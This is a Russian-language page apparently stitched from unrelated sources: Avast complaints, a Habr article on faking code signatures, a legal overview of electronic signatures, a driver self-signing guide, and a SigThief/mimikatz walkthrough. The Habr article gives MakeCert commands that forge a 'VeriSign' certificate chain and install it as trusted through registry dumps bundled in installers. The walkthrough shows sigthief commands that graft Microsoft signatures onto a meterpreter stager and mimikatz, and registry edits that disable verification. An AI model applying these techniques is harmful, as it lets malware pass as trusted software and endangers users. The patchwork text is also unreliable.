Цифровая подпись для вируса
хм . сейчас точно не скажу (уже не на работе), но вообще у нас вроде как лиса работает с банками с госплощадками, где требуется КРИПТО ПРО. Другое дело если сама площадка не дает работать ни с чем, кроме как с ИЕ. Если не забуду, в понедельник гляну.
И вообще, речь идет об антивирусе в первую очередь - аваст очень ненадежен. Имхо лучше ессентиал (у нас он и стоит) чем этот аваст.
По опыту, когда дома стоял аваст, он даже старые не убивал. Да, показывал что вирус есть, делал вид что предпринимает меры, но ради прикола я попробовал найти файл, который был "только что удален" - файл был на месте и через полчаса аваст снова нашел в нем вирус )
Может косяк бесплатной версии, но все таки задумайся.
Удаление AVAST Free Antivirus (неадминам неинтересно)
Антивирус AVAST Free теперь ставится вместе с другими программами "втихую" , за что посылаю им лучи кровавого поноса.
Любимая жена разрешила обновиться BitComet и получила аваст "внагрузку". При попытке удалить его штатно, деинсталляция зависла на стадии "wsc_proxy.exe /svc /unregister /firewall".
Фигня вопрос - за дело берутся профессионалы! Скачиваю с сайта аваста специальную удалятельную утилиту avastclear.exe и. хрен по всей морде - зависаем там же.
Безопасный режим. зависаем там же.
Ну я ж такое уже встречал, ага! Скачиваю сам аваст фри, ставлю его поверх, и после установки запускаю деинсталляцию (помогает при неправильно поставленном пакете).
"Дураки на месте" - зависаем там же.
Открываем гугл - "как удалить аваст?". м-да. это мы уже пробовали.
Если цивилизованные методы не помогают, будем хулиганить:
1) Находим в Program Files/Avast этот самый wsc_proxy.exe и переименовываем в wsc_proxy.1
2) Сопируем в этот каталог ARP.Exe из /Windows/System32 и переименовываем его в wsc_proxy.exe
3) Запускаем деинсталлятор. УРА! Оно таки удалилось!
4) Удаляем остатки из Program Files/Avast, и правил брендмауэра (у меня не было, но. ).
Avast не самый плохой антивирус, но такие методы "распространения" бесят!
Мой Avast меня "бережет"
Недавно мне по работе надо было передать данные в другую организацию. Данные надо было передать в ворде и задублировать их же в PDF.
Отправил я туда все это добро, и живу дальше, никого не трогаю. Пока вдруг из этой организации не поступает комментарий, что вы, дескать, редиски и прислали нам файлы с вирусом, и ваще, давайте шлите нормальные!
Тут я сразу вспомнил название сыра, про который рассказывал @ArsenZa - если кто не помнит - АРАЧЕЗАНАХ.
АРАЧЕЗАНАХ!? - Воскликнул я. Все фалы для отправки в эту доблестную контору готовились на Linux, а здесь с вирусами очень туго. Даже если сам захочешь - фиг найдешь.
Ну ладно, думаю, и на старуху бывает проруха. Проверим! Гружу винды. Так как я в них только играю и то редко, антивируса там нет (ну, кроме встроенного в оные винды). Сразу привлекаю тяжелую артиллерию - качаю Kaspersky Security Scan и DrWeb CureIt!, скармливаю им "виноватые" файлы - все чисто.
Ну ладно. Пишу им: "колитесь чем вы там проверяли и чего нашли". Пишут, что проверяли Авастом. Вот тут-то у меня и закрались подозрения. Еще давным-давно, когда я писал для замечательного и приснопамятного журнала Upgrade, мы там столкнулись с тем, что Аваст постоянно поднимает панику из-за какой-нибудь фигни.
Ну ладно, ставлю Аваст. А он и правда находит в PDFках некий pdf:UrlMal-inf [trj].
Загуглил. Оказывается знаете что? Оказывается такую "заразу" Avast показывает, когда в файле всего лишь содержится ссылка на сайт, который у Avast'а заблокирован!
На этом история не кончается - Avast вдруг находит у меня эти файлы (содержащие ссылку) на диске, начинает визжать, пробует их запихнуть в карантин, в общем, истерит как, пардон, баба.
Честно, у меня бомбануло! Ок, заблокировали вы этот сайт - ну и блокируйте себе его в браузере! А то, что у меня в каком-то документе ссылка на него содержится - это, как бы, мое дело.
Причем ладно бы там предупреждение какое-то, нет, он начинает орать, что там вирус! Что, как я думаю уже всем понятно, банально не соответствует действительности.
- потеряно несколько дней пока из принимающей организации сподобились-таки отписаться, что-де у меня вирус;
- потрачено несколько часов, что бы разобраться что случилось, и какая же конкретно ссылка (в файле их было много), не нравится этому истеричному "антивирусу".
Ссылку убрал. Отписался товарищам, которым отправлял файлы, чтобы завязывали с Авастом.
Ссылка была, кстати, не на какую-нибудь фигню, а на Краснодарский краевой художественный музей имени Ф.А. Коваленко. Причем тот же Яндекс.Браузер, который вообще-то палит всякую дрянь на сайтах - спокойно туда пускает.
У меня все. Если пользуетесь Avast'ом, рекомендую перейти на что-нибудь другое.
Хабрапривет!
Ну вроде как удалось решить вопросы с кармой, но они ником образом не касаются сегодняшней темы, а лишь объясняют некоторое опоздание её выхода на свет (исходные планы были на ноябрь прошлого года).
Сегодня я предлагаю Вашему вниманию небольшой обзор по системе электронных подписей исполняемых файлов и способам обхода и фальсификации этой системы. Также будет рассмотрен в деталях один из весьма действенных способов обхода. Несмотря на то, что описываемой инфе уже несколько месяцев, знают о ней не все. Производители описываемых ниже продуктов были уведомлены об описываемом материале, так что решение этой проблемы, если они вообще считают это проблемой, на их ответственности. Потому как времени было предостаточно.
ТЕОРИЯ
Идея и технология электронной подписи для исполняемых файлов возникла ещё в эпоху Windows NT. C момента появления Windows Vista компания Microsoft начала активную компанию по продвижению этой технологии. По задумке производителя, подписанный код может идти только от доверенного автора этого кода, а следовательно гарантированно не наносит вреда системе и защищён от ошибок (три ха-ха).
Становится ясно, что подписав свои творения валидной подписью, вирусмейкер получает довольно богатую аудиторию клиентов, у которых даже с активным и регулярно обновляемым антивирусом произойдёт заражение. Очевидно, что это — весьма лакомый кусочек, что легко заметно на примере уже ставшего знаменитым вируса Stuxnet, где код был подписан валидными сертификатами Realtek (позже сообщалось и о подписях от JMicron).
Но у этого подхода есть и оборотная сторона: после выявления скомпрометированной подписи она немедленно отзывается, а по самому факту подписи АВ-вендоры ставят сигнатурный детект, понятно, что с 100%-ным срабатыванием. Учитывая то, что приобрести украденный сертификат, необходимый для подписывания крайне дорого, ясно, что вирусмейкеры заинтересованы в тотальном обходе механизма проверки подписи, без валидных private-ключей или с помощью самостоятельной генерации таких ключей. Это позволит обходить защиту не только антивирусных продуктов, но и устанавливать драйвера и ActiveX-компоненты без предупреждений, да и вообще как-то пробиться в мир х64, где без подписей ничего не установить вообще.
Но об этом — подробнее на практике.
Кто-то из великих сказал, что чтобы опередить врага, надо начать мыслить как он. Итак, если мы вирусмейкеры, то что мы можем сделать?
1. Скопировать информацию о сертификате с какого-нибудь чистого файла.
Это наиболее популярный способ на данный момент. Копируется информация подписи до мельчайших подробностей, вплоть до цепочки доверенных издателей. Понятно, что такая копия валидна только на взгляд пользователя. Однако то, что отображает ОС вполне может сбить с толку неискушённого и быть воспринято как очередной глюк — ещё бы, если все издатели правильные, то почему это подпись невалидна? Увы и ах — таких большинство.
2. Использовать самоподписанные сертификаты с фэйковым именем.
Аналогично выше описанному варианту за исключением того, что даже не копируется цепочка в пути сертификации.
3. Подделать MD5.
Несмотря на то, что слабость алгоритма MD5 уже давно описана (тут и тут), он до сих пор часто используется в электронных подписях. Однако реальные примеры взлома MD5 касаются или очень маленьких файлов, или приводят к неправильной работе кода. На практике не встречаются вирусы с поддельными взломанными подписями на алгоритме MD5, но тем не менее такой способ возможен теоретически.
4. Получить сертификат по обычной процедуре и использовать его в злонамеренных целях.
Интересно, что реально существуют абсолютно нормальные программы с такими именами владельцев:
• Verified Software
• Genuine Software Update Limited
• Browser plugin
Понятно, что если уж этому верить, то ошибиться при первом взгляде на сертификат несложно.
Справедливости ради отмечу, что подписать х64-драйвер далеко не так просто, в этом случае пока нарушений не замечено.
5. Найти какого-нибудь работника доверенной компании и попросить его подписать Ваш код.
Без комментариев. Все любят деньги. Вопрос только в сумме :)
6. Украсть сертификат.
Тем не менее пока не замечено массовых случаев использования украденных сертификатов в новых версиях этих троянцев. Возможно, это козырь в рукаве? Время покажет…
7. Заразить систему разработки доверенного разработчика и внедрять злонамеренный код в релизы до подписания.
К счастью, Induc.a является только PoC, выполняя только заражение систем разработки без реализации какого бы то ни было дополнительного вредоносного функционала.
Ну а теперь — обещанные вкусняшки.
УЯЗВИМОСТЬ ИЛИ КАК Я ПРОВЁЛ ЭТИМ ЛЕТОМ
Как видим, вариантов обхода подписи достаточно много. В нашем примере будет рассмотрен модифицированный вариант 1 и 2, описанные выше.
Итак, что нам потребуется?
— MakeCert.exe
— cert2spc.exe
— sign.exe
— ruki.sys
— mozg.dll
Думаю, что для хабрачитателя не составит труда найти эти компоненты, но для самых ленивых выкладываю первые три здесь. Последние два не выкладываю в виду жёсткой привязки к железу, полному отсутствию кроссплатформенности и специфичности кода :)
Итак, создадим какой-либо сертификат доверенного издателя. Попробуем максимально скопировать информацию о том же VeriSign:
MakeCert.exe -# 7300940696719857889 -$ commercial -n CN="VeriSign Class 3 Code Signing 2009-2 CA" -a sha1 -sky signature -l "https://www.verisign.com/rpa" -cy authority -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.2,1.3.6.1.5.5.7.3.3 -r -sv veri.pvk veri.cer
В результате выполнения мы получим veri.pvk и veri.cer, пригодные для подписывания.
Теперь создадим дочерний сертификат с использованием полученных только что:
MakeCert.exe -# 8928659211875058207 -$ commercial -n CN="Home Sweet Home" -a sha1 -sky signature -l "http://habrahabr.ru/" -ic veri.cer -iv veri.pvk -cy end -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.3 -sv kl.pvk kl.cer
В итоге получим kl.pvk и kl.cer, которые будут доверенными сертификатами от недоверенного издателя. Цепочку можно продолжать долго, задуривая наивного пользователя. Но итог будет один: сертификат не будет валидным, потому как в цепочке есть один недоверенный элемент. НО!
В Windows имеется возможность установки любого сертификата, в том числе и самоподписанного, в качестве доверенного. Это удобно: в ряде случаев разработчик может сделать себе самоподписанный сертификат, ввести его в доверенные и спокойно работать со своими приложениям. В нашем случае это удобно вдвойне, потому как такой внос — очевидно, простое внесение информации в реестр. при чём информации отнюдь не специфичной для конкретной системы.
Установим на нашу тестовую виртуалку любой монитор реестра, после чего внесём наш искомый сертификат от якобы VeriSign в доверенные. Отследим, где произошло изменение — и voila! Мы можем сделать дамп соответствующей ветки реестра, после чего засунуть её в инсталлер. В итого, наш инсталлер вносит в реестр инфу, автоматически превращая сертификат первичного издателя в доверенный и валидируя всю цепочку.
Чтобы окончательно не открывать все карты, скажу только, что в моём случае дамп реестра имел вид
Windows Registry Editor Version 5.00
ну или если только для текущего пользователя, то
Windows Registry Editor Version 5.00
Внеся в реестр эти данные, программа с фэйковой цепочкой подписи автоматом проходила проверку по sigverif.exe. Ну а подписать наш код с помощью полученного сертификата вообще просто, достаточно батника:
cert2spc.exe kl.cer kl.spc
sign.exe -spc kl.spc -v kl.pvk -n "My Installer" -i "http://habrahabr.ru" -ky signature -$ commercial -a sha1 -t "http://timestamp.verisign.com/scripts/timstamp.dll" myprogram.exe
del kl.spc
Обратите внимание на использование таймстампа timestamp.verisign.com/scripts/timstamp.dll — теоретически вполне возможно использование собственного сервера на собственном домене, что позволит каждый раз видеть, что кто-то проверил подпись нашей программы на своём компьютере, а значит получать IP и время проверки. Правда удобно? ;)
Самое забавное, что на момент написания материала в далёком октябре-ноябре 2010-го Kaspersky Internet Security 2011 не отслеживала указанные ветки реестра, а проверку валидности цепочки оставляла на усмотрение ОС, которую мы довольно просто надули. Не знаю, что сейчас, но вроде как некоторые ветки заблокировали… Проверяйте, отписывайтесь!
Нужно отметить, что для простановки подписей возможно использование и специфичного, недоступного в паблике софта. Понятно, что подписи он не ломает, но даёт куда более гибкие возможности для заполнения полей X500, что ещё лучше создаёт видимость валидности. Вот тут возможно скачать любопытный пример. В архиве — файл популярной замены Блокноту bred3_2k (офсайт) с и без подписи Microsoft :) Чтобы подпись полностью стала валидной, достаточно внести в реестр изменения, содержащиеся в файле key +.reg. Аналогично, файл key -.reg эти изменения отменяет. Отследите путь сертификации — он любопытен :)
Если потребуется, в следующей статье я расскажу, как настроить хипс для защиты соответсвующих веток реестра во избежание описанного внесения сертификатов в доверенные. Отписывайтесь в комментах — возможно, что эту уязвимость уже пофиксили.
В статье использован материал презентации Jarno Niemela (F-Secure).
Квалифицированная электронная подпись не только полноценно заменяет подпись от руки и обладает такой же юридической силой, но имеет преимущества перед обычной подписью, главные из которых:
- Надёжность. Электронный документ, подписанный ЭП, можно передавать по защищённым каналам связи. Для установки подлинности документа, подписанного ЭП, не нужен физический носитель — подпись присоединена к электронному документу, её всегда можно проверить, независимо от того, каким образом и сколько раз передавался документ. В то время как для проверки подписи на бумаге необходим оригинал документа.
- Невозможность подделки. Усиленная электронная подпись создаётся с применением криптографических методов защиты информации, поэтому подделать её невозможно. Подпись от руки нередко подделывают, установить факт подделки в ходе экспертизы удаётся не всегда.
- Гарантия неизменности документа после подписания. Любые изменения, внесённые в документ после его подписания электронной подписью, сделают подпись недействительной. Документ, подписанный от руки, никак не защищён от дальнейших изменений.
- Более широкая сфера применения. В некоторых ситуациях подписание от руки попросту невозможно, что делает использование ЭП обязательным. Участие в электронных торгах, сдача определенных видов отчётности в госорганы, работа в государственных информационных системах — для этого понадобится именно электронная подпись.
Более широкий спектр возможностей ЭП по сравнению с обычной подписью и её преимущества в плане безопасности очевидны, осталось разобраться, как оградить себя от существующих рисков при использовании электронной подписи.
Правила безопасности для владельцев электронной подписи
Несмотря на весомые преимущества в плане безопасности, применение технологии электронной подписи по-прежнему сопряжено с опасениями и заблуждениями. Часть из них — не более чем мифы, некоторые риски реальны, но их можно избежать или минимизировать.
Еще один риск связан с хакерскими атаками — получением доступа к компьютеру или ноутбуку владельца подписи для похищения ключа. Предотвратить внедрение злоумышленника в компьютер и компрометацию данных в этом случае можно, соблюдая всем известные правила безопасного поведения в интернете — не переходить по подозрительным ссылкам, не загружать файлы из неизвестных источников, не использовать потенциально зараженные USB-носители и установить на рабочий компьютер надёжную программу-антивирус.
Безопасность использования электронной подписи во многом зависит и от организации, которая её выпустила. Выбор удостоверяющего центра — очень ответственная задача. Фактически удостоверяющий центр подтверждает личность обратившегося и выдаёт ему средство для электронного подписания документов, с юридической точки зрения абсолютно равнозначное его подписи от руки.
Незаконное оформление электронной подписи: в чём корень проблемы
К сожалению, мошенники идут в ногу со временем и находят возможности использовать продукты развития цифровой экономики в своих преступных целях. В некоторых случаях пострадать могут не клиенты удостоверяющих центров, а граждане, никогда не получавшие электронную подпись.
Весной 2019 года в российской прессе широко освещался случай отъёма квартиры мошенническим путём с использованием электронной подписи. Преступники переоформили квартиру на третье лицо без ведома собственника. О том, что жильё больше ему не принадлежит, хозяин московской квартиры узнал случайно, когда обнаружил имя нового владельца в квитанции на оплату коммунальных услуг.
Что было бы, если бы закон запрещал выпуск сертификатов ЭП без нотариального заверения доверенности? Нотариальную доверенность подделать сложнее, но тоже возможно. К тому же запрет на выпуск сертификатов и ключей ЭП для юридических лиц без нотариально заверенной доверенности существенно осложнил бы документооборот и скорость работы организаций.
Тем не менее попытки ввести обязательное нотариальное удостоверение доверенностей на выпуск сертификатов электронной подписи уже предпринимаются на законодательном уровне.
В феврале 2018 года в Госдуму был внесён проект Федерального закона № 387130-7, который предусматривал, что при обращении в аккредитованный удостоверяющий центр потребуется представить не обычную доверенность, как сейчас, а нотариально удостоверенную. Однако после принятия в первом чтении законопроект находится без движения с июля 2018 года.
Отметку проставят на основании заявления, поданного лично или отправленного по почте. При отсутствии такой отметки в регистрации сделки по передаче недвижимости будет отказано. Исключение сделано для нотариальных сделок, для документов, подписанных электронной подписью, сертификат которой выдан Федеральной кадастровой палатой Росреестра, а также для сделок, которые поданы на регистрацию через банки, — их зарегистрируют без отметки. Кроме того, законом предусмотрена обязанность Росреестра уведомлять владельца недвижимости о поступлении от его имени каких-либо электронных документов для продажи или ином отчуждении недвижимости.
Законодательные меры для защищённого использования ЭП
Как оценить надёжность удостоверяющего центра
Несмотря на то, что мошеннические схемы нацелены на все возможные уязвимые места в законодательстве, которые не ограничиваются сферой электронной подписи, выбор удостоверяющего центра остается одним из важнейших слагаемых безопасного использования ЭП. Поэтому вернёмся к удостоверяющим центрам и рассмотрим подробнее критерии их надёжности.
- организация должна обладать чистыми активами стоимостью не менее 7 млн рублей;
- у организации должно быть финансовое обеспечение ответственности за убытки, причинённые третьим лицам вследствие их доверия к информации, указанной в сертификате ключа проверки электронной подписи, выданном УЦ, или информации, содержащейся в реестре сертификатов, который ведет этот УЦ. Сумма — не менее 30 млн рублей и 500 тысяч рублей за каждое место осуществления лицензируемого вида деятельности;
- средства электронной подписи удостоверяющего центра должны быть сертифицированы ФСБ Российской Федерации;
- удостоверяющий центр должен иметь порядок реализаций функций и исполнения обязанностей в виде регламента, правил и прочих нормативных документов, установленный в соответствии с требованиями, утверждёнными федеральным органом исполнительной власти.
Кроме этого, есть не прописанные в законодательстве критерии, по которым можно определить надёжность удостоверяющего центра:
- Срок работы организации, количество её региональных представительств. Если компания крупная, давно на рынке и имеет множество клиентов, включая крупные организации, вероятность непредвиденных ситуаций снижается.
- Наличие лицензии ФСТЭК. Сертификат доказывает соответствие законодательству в плане технической защиты конфиденциальных данных.
- Статус доверенного центра ФНС, ПФР и Росстата. Если организация, помимо выдачи электронной подписи, предоставляет услуги электронной отчётности в контролирующие органы, это свидетельствует о высоком уровне доверия государства к этому удостоверяющему центру.
Фактором, снижающим доверие к удостоверяющему центру, является возможность проведения удалённого установления личности клиентов. Удалённое установление личности может подразумевать передачу отсканированных документов, необходимых для удостоверения личности клиента, через интернет и выпуск сертификата только на основании переданных документов. В таком случае вероятность предъявления поддельных документов значительно возрастает, потому что подделать фотографию или скан документа значительно проще, чем бумажный экземпляр. Кроме того, в такой ситуации невозможна непосредственная проверка соответствия личности заявителя личности владельца предъявляемых документов.
Удостоверяющий центр, проводящий удалённое установление личности, серьёзно нарушает закон, такая процедура не предусмотрена действующим законодательством.
В настоящий момент (до принятия поправок к 63-ФЗ) единственным легальным механизмом удалённой верификации личности при выдаче квалифицированного сертификата ЭП является механизм, связанный с использованием биометрического загранпаспорта. Этот вид дистанционного установления личности используется в рамках эксперимента, проводимого в соответствии с постановлением Правительства РФ от 29.10.2016 №1104.
Обе технологии предполагают в процессе формирования электронной подписи взаимодействие пользователя со специальной информационной системой. Разница между этими двумя технологиями в том, что в случае дистанционной подписи система контролирует действия пользователя и защищает его ключи ЭП, хранящиеся в мобильном устройстве. В варианте облачной подписи ключи ЭП пользователя хранятся в специальной информационной системе, а на мобильном устройстве пользователя хранятся специальные ключи для управления.
- При создании электронной подписи средства электронной подписи должны (п. 8 Требований):
- показывать лицу, подписывающему электронный документ, содержание информации, которую он подписывает;
- создавать ЭП только после подтверждения лицом, подписывающим электронный документ, операции по созданию ЭП;
- однозначно показывать, что ЭП создана.
- Средство ЭП должно проводить аутентификацию субъектов доступа (лиц, процессов) к этому средству.
Технология дистанционной подписи не предполагает делегирование хранения ключей третьим лицам, поэтому все связанные с этой процедурой сложности и планируемые к вводу дополнительные ограничения на использование облачных средств электронной подписи не могут применяться к ней. Подробнее с технологией дистанционной подписи IDPoint можно ознакомиться на официальном сайте приложения.
По умолчанию все последние версии Windows запрещают устанавливать драйверы устройств, которые не подписаны действительной цифровой подписью. Такие драйверы блокируются системой. Цифровая подпись гарантирует (в некоторой степени), что драйвер был выпущен определенным разработчиком или поставщиком, и его код не был изменен после того, как он был подписан.
Проще говоря, если драйвер подписан, то компьютер считает, что он не менялся после того как его сделали разработчики соответствующего оборудования, и что никакие злые хакеры не вписали в драйвер вредоносный код, который мог бы украсть Ваши пароли или ещё чего плохого натворить.
Как подписать драйвер для работы устройств на Windows 10 или Windows 7
Разных причин отсутствия подписи много, и раз Вы это читаете, то скорее всего столкнулись с одной из таких причин. В этом примере попробуем установить довольно старый драйвер для звуковой карты, для которого уже истек срок активности сертификата. Архив с драйверами был загружен с веб-сайта производителя ноутбуков, укомплектованных соответствующей видеокартой (нам удалось найти версию драйвера для Windows XP). Чтоб было удобнее работать с драйвером, он был перемещён в специально созданную под него папку: c:\drv\ (папка с названием “drv” на диске “C”). Пробуем установить драйвер путем добавления его через консоль в хранилище драйверов, с помощью стандартного инструмента pnputil:
Pnputil –a c:\drv\HDALC2.inf
Для этого впишите “cmd.exe” в поисковой строке рядом с кнопкой “Пуск” и нажмите “Запустить от имени администратора”. Если у Вас на этом этапе открывается окно с предупреждением, нажмите “Да”.
Можете или скопировать адрес из примера и вставить в консоль нажатием правой кнопки мышки, или ввести вручную. Только не забудьте поменять название файла драйвера из примера на название файла Вашего драйвера, а также поменять адрес, если Вы распаковали драйвер в другую папку.
Ожидаемо, получаем ошибку, указывающую на то, что в INF-файле не удаётся обнаружить информацию о цифровой подписи. 
То же сообщение мы получим если попробуем нажать на файле драйвера ПКМ и выбрать “Установить”.
Настало время попробовать подписать драйвер свежесозданным сертификатом.
Необходимые инструменты
Чтобы сгенерировать подпись и подписать драйвер, вам необходимо загрузить и установить следующие инструменты разработки приложений (с настройками по умолчанию):
- .NET Framework 4 — нужен для работы нижеуказанных инструментов;
- Windows SDK (можно не скачивать, если у Вас есть Visual Studio 2005 или новее) для вашей версии Windows. В комплект входит набор инструментов для подписания, в котором и находится нужное средство — signtool.exe;
- WDK 7.1.0.
Создание самоподписанного сертификата и приватного ключа
- Теперь нужно создать папку C:\DrvCert\hda и скопировать в неё все файлы из папки, в которую первоначально был извлечен драйвер из архива (c:\drv\). Среди этих файлов обязательно должны быть файлы форматов .sys и .inf (в примере: RTKHDAUD.sys и HDALC2.inf).
- Вернитесь в консоль и введите cd C:\WinDDK\7600.16385.1\bin\selfsign
- Создайте файл CAT (в нём находится информация о расположении файлов в пакете драйвера) на основе файла INF с помощью средства inf2cat.exe (входит в комплект WDK). Для этого запустите следующую команду: inf2cat.exe /driver:"C:\DrvCert\hda" /os:7_X86 /verbose .
![]()
- Введите cd C:\Program Files (x86)\Windows Kits\10\bin\x64\
- Теперь набор файлов драйверов нужно подписать сертификатом, который вы создали ранее, используя службу Globalsign.
Поскольку созданный только-что сертификат является самоподписанным, по умолчанию система ему не доверяет. Добавьте свой сертификат в хранилище сертификатов локального компьютера:
certmgr.exe -add C:\DrvCert\myDrivers.cer -s -r localMachine ROOT
certmgr.exe -add C:\DrvCert\myDrivers.cer -s -r localMachine TRUSTEDPUBLISHER 
Установка драйвера
Вводим команду: Pnputil –i –a C:\DrvCert\hda\HDALC2.inf
Теперь ошибка как при первой попытке не появляется, а вместо неё видим сообщение об успешной установке драйвера. 
Поздравляем с успешной установкой!
Можно было и избежать мороки с массой команд и установить драйвер с помощью отключения проверки сертификата, но об этом уже в другой статье.
Далее будет приведен пример обхода проверки подписи Microsoft , предложенный тестером на проникновение Chris Spehn (@_Lopi_ .
Сценарий заимствует подпись существующего приложения и модифицирует два ключа реестра, чтобы сделать его исполняемый файл с подписью Microsoft.
Для выполнения сценария обхода проверки подписи нам понадобятся два инструмента: mimikatz и SigThief .
Во-первых, давайте рассмотрим каждый из этих инструментов, даже если вы уже знакомы с ними.
Mimikatz - это приложение с открытым исходным кодом, которое позволяет пользователям просматривать и сохранять учетные данные для проверки подлинности, такие как билеты Kerberos . Набор инструментов работает с текущим выпуском Windows и включает в себя самые современные атаки.
Злоумышленники обычно используют Mimikatz для кражи учетных данных и повышения привилегий. И наоборот, пентестеры используют Mimikatz для обнаружения и использования уязвимостей в ваших сетях, чтобы вы могли их исправить.
SigThief - это инструмент для быстрого тестирования, в нашем случае - кражи подписей. Короче говоря, он будет срывать подпись с подписанного PE-файла и добавлять его к другому, исправляя таблицу сертификатов для подписи файла.
Возьмите подпись из двоичного файла и добавьте ее в другой двоичный файл
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.
Сохраните подпись на диск для последующего использования
$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
Используйте вырванную подпись
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.
Сократить (удалить) подпись
$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.
Проверьте, есть ли подпись
$ ./sigthief.py -i tcpview.exe -c
Inputfile is signed!
1) Загрузите mimikatz:
2) Загрузите SigThief:
3) Запустите следующую команду
sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o testaroo.exe
4) Ослабьте цель, изменив следующие ключи реестра (32 бита)
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\
5) Ослабьте цель, изменив следующие ключи реестра (64 бит)
HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\
HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\
6) Проверьте, действительна ли эта подпись с PowerShel
Get-AuthenticodeSignature -FilePath C:\Path\To\file.exe
7) Начните новый процесс, чтобы угон вступил в силу:
Примечание: это может быть любой процесс
8) Microsoft подписал mimikatz
Сценарий SubvertTrust Powershell
Успешно протестировано в Win7_x86 и Win10_x64.
Читайте также: